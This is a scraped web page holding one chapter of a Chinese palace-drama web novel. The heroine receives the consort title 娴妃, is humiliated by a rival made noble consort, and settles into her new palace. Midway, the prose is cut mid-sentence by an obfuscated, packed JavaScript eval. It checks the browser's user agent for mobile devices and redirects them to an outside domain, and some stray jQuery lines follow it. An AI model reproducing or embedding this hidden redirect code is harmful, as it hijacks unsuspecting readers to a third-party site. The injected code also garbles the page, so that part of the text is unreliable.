默认冷灰
24号文字
方正启体

13. 娴妃

作者:北美草原犬鼠本书字数:K更新时间:
    吉时已至,阖府女眷依品阶跪伏于正厅,鸦雀无声,连只余下宣旨太监那尖细却异常清晰的声音,一字一句砸在每个人的心坎上。


    “咨尔正妃盛氏,柔嘉维则,淑德含章...允赖母仪之范,册立为皇后,赐居椒房宫...”


    盛望舒深深叩首,仪态万方地接过那代表中宫权威的金册金印,一举一动无可挑剔。


    这母仪天下的尊荣,是她应得的,我跪在她身后,心里清楚,紧接着,便是真正关乎我们这些人未来命运的宣判时刻。


    “侧妃慕容氏,家世勋茂,秉性英敏...册为贵妃,赐居昭阳宫...”


    贵妃!


    尽管心底早已反复推演过这个最可能的结果,但这两个字真真切切地传入耳中时,我的心还是骤然下沉,维持着跪姿的身体几不可察地僵硬了一下,指尖深深掐入掌心,借着那点细微的刺痛,才勉强维持住表面的平静。


    我微微侧目,视线所及,恰好能看到慕容舜华上前接过金册时,带着几分傲然弧度的背脊,以及她低垂眉眼间,几乎要飞扬起来的流光溢彩的喜色。


    她甚至毫不避讳地,在转身归位的瞬间,朝我的方向瞥来一眼,充满了毫不掩饰的耀武扬威和志得意满。


    我原以为我是不一样的。


    我以为我这些时日的努力,殚精竭虑地协理府务,在国丧期间顾全大局、以退为进所表现出的冷静与担当,多少能弥补景家日渐倾颓的不足,能在陛下心中,挣得一个与众不同的、更有分量的位置。


    我以为权力和恩宠,是可以通过精密的算计和实实在在的能力去争取的。


    可现在呢?


    原来,在绝对的家世背景面前,我的那些努力,那些小心翼翼的经营、步步为营的谋划,显得如此苍白无力,甚至可笑。


    慕容舜华完全不需要像我一样绞尽脑汁,她只需要站在那里,凭借着她身后屹立不倒的慕容家,就能轻而易举地获得我需要竭尽全力方能触及的起点。


    一种深刻的、近乎绝望的失望在心底蔓延开来,并非全然针对慕容舜华,更是针对这冷酷的现实,以及那个曾怀抱一丝侥幸、以为能凭自身能力打破壁垒的自己。


    原来,我还是太天真了。


    “侧妃景氏羲和,柔明婉顺,淑德含章...册为妃,赐号‘娴’,赐居长乐宫永宁殿...”


    当那个“娴”字清晰地落下时,先前因慕容舜华封贵妃而激起的惊涛骇浪,此刻悉数化作了一种更深沉无力的钝痛,缓慢地碾过心脏。


    娴...怎么会是“娴”!


    温婉娴静?安分守己?


    我这些时日的殚精竭虑,在丧仪中的顾全大局,协理府务的井井有条,在他眼中,难道最终只凝结成这样一个规训般的、毫无特色的字眼吗?


    甚至连一个能体现我些许特质或功劳的封号都吝于给予么?


    难道我所有的挣扎,所有的渴望,所有的付出,在他眼中根本无足轻重,只希望我永远这般“娴静”地待在一个角落里?


    我恭敬地叩首,谢恩,然后上前接过那卷金册,指尖触及那冰凉光滑的缎面,痛苦却顺着脉络直透心底,几乎冻结了血液。


    后续的册封,兰殊的纯嫔,陈清萍的婉贵人,都像是在反复提醒我,每个人都在陛下心中有一个固定的、符合他们出身与性情的格子。


    而我景羲和,似乎就被牢牢地钉在了“娴静安分”这个格子里,不得逾越。


    冗长的仪式终于结束。慕容舜华在内侍的簇拥下率先起身,脸上的笑容明媚张扬,刺得我眼生疼。


    她并未立刻离去,反而特意放缓了脚步,在我面前停顿了一瞬。


    “羲和姐姐,”她声音里带着毫不掩饰的愉悦,尾音微微上扬,“哦,不对,如今该称一声‘娴妃姐姐’了。”


    她上下打量了我一眼,那目光带着一种居高临下的审视,“娴字甚好,最是衬姐姐这般沉静的性子。长乐宫听着也是个清净地儿,正合姐姐安居。


    ”她轻笑一声,语气里的讽刺丝毫不加掩饰,“往后在这宫里,妹妹我住在昭阳宫,若有什么需要帮衬的,姐姐可千万别客气。毕竟,位分高低,总还是不一样的,不是吗?”


    说完,她不再看我瞬间苍白的脸色,扶着侍女的手转身离去,绯红色的华服在光线中流转着刺目的光,如同她此刻的人生。


    我挺直脊背,用尽全身力气维持着脸上淡漠平静的表情,转向盛望舒,依礼恭敬地告退。


    所有的雄心壮志,仿佛都被这个“娴”字和慕容舜华那番话,蒙上了一层厚重的阴影。


    不仅是位份差距带来的现实压力,更是期望落空、发现自己此前种种努力似乎付之东流的苦涩与无力。


    迁居毓金宫的旨意很快便下达了。离开王府那日,天色灰蒙蒙的,我站在熟悉的院落中,看着仆从们将早已收拾妥当的箱笼一一抬上宫车。


    慕容舜华的仪仗早已浩浩荡荡先行,而我只是安静地登上属于自己的车驾,帘幕落下,隔绝了外界所有的窥探与议论。


    车轮驶向那巍峨耸立的宫墙。穿过一道又一道沉重的宫门,外面的市井喧嚣渐渐远去,最终彻底被一种深沉的、令人心悸的寂静所取代。


    这就是毓金宫,天下权力的中心,也是我将要奋战一生的牢笼与战场。


    长乐宫永宁殿,这便是我今后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484485|185672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在毓金宫的居所了。


    殿宇轩敞,却因久未有人气而透着一股子空旷的冷寂,连空气都带着陈年的的沉闷气息。


    当日下午,兰殊便来瞧我了,她被封了嫔位,是一宫主位,居未央宫。未央宫离长乐宫并不远,这算得上近几日来唯一让我觉得慰藉之事了。


    兰殊依旧是一身素净的衣裙,挥手让宫人退下,走到我身边,没有说话,只是静静地将一杯新沏的热茶推到我面前。


    “尝尝,我亲自沏的,或许能压一压心头的火气。”她声音轻柔,带着了然的平静。


    我接过茶杯,触感温热,却暖不透冰凉的手指。


    “你都知道了。”我的声音有些沙哑。


    “嗯,”她轻轻应了一声,“昭阳宫那边的动静,想不知道也难。”


    她顿了顿,看着我,目光清澈而真诚,“羲和,别把她的话太放在心上。贵妃之位,仰仗家世荫蔽,并非她自身有多高明。”


    “可陛下给了她这个位置。”我打断她,语气里带着难以抑制的涩意,“也给了我一个‘娴’字。”


    苏兰殊沉默了片刻,轻轻握住我的手:“‘娴’字有何不好?静水深流,方能致远。陛下给你这个字,未必全然是规训,或许...也是一种观察和期待。他若真觉得你无足轻重,大可随意打发,何必特意赐号?况且,妃位之上,便是贵妃。路还长,谁能笑道最后,尚未可知。”


    她的话稍稍吹散了我心头的阴霾,但那份沉重的失落与寒意,却并非几句安慰就能轻易驱散的。


    这条通往权力之巅的路,似乎比我预想的,还要狭窄,还要坎坷。


    但,我既已踏上,便再无回头路可走。


    兰殊走后,我便开始着手整顿内务,指挥着宫女与太监们将库房里的器物一一清点、登记造册。


    不合规制的摆设撤换下来,换上我从府中带来的、用惯了的素雅物件;窗子要擦得明亮,地砖要扫得光洁,连庭院中那几株半枯的花木,也吩咐了花匠仔细修剪、松土,盼着来年能焕发生机。


    这些琐碎的劳作,仿佛带着一种奇异的力量,因慕容舜华的挑衅而郁结在心的挫败感,似乎也随着这些具体的事务,一点点被驱散、被压实,沉到了心底最深处。


    当殿内终于按照我的意愿初具雏形时,我独自站在窗边,望着窗外被宫墙切割得四四方方的天空,深深吸了一口气。


    这里不再是王府那个需要时刻看人眼色的侧妃院落,而是毓金宫,是战场,是我景羲和新的起点。


    慕容舜华的贵妃之位是她的倚仗,而这永宁殿,也将成为我的根基。


    路还长,一时的得失,算不得什么。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)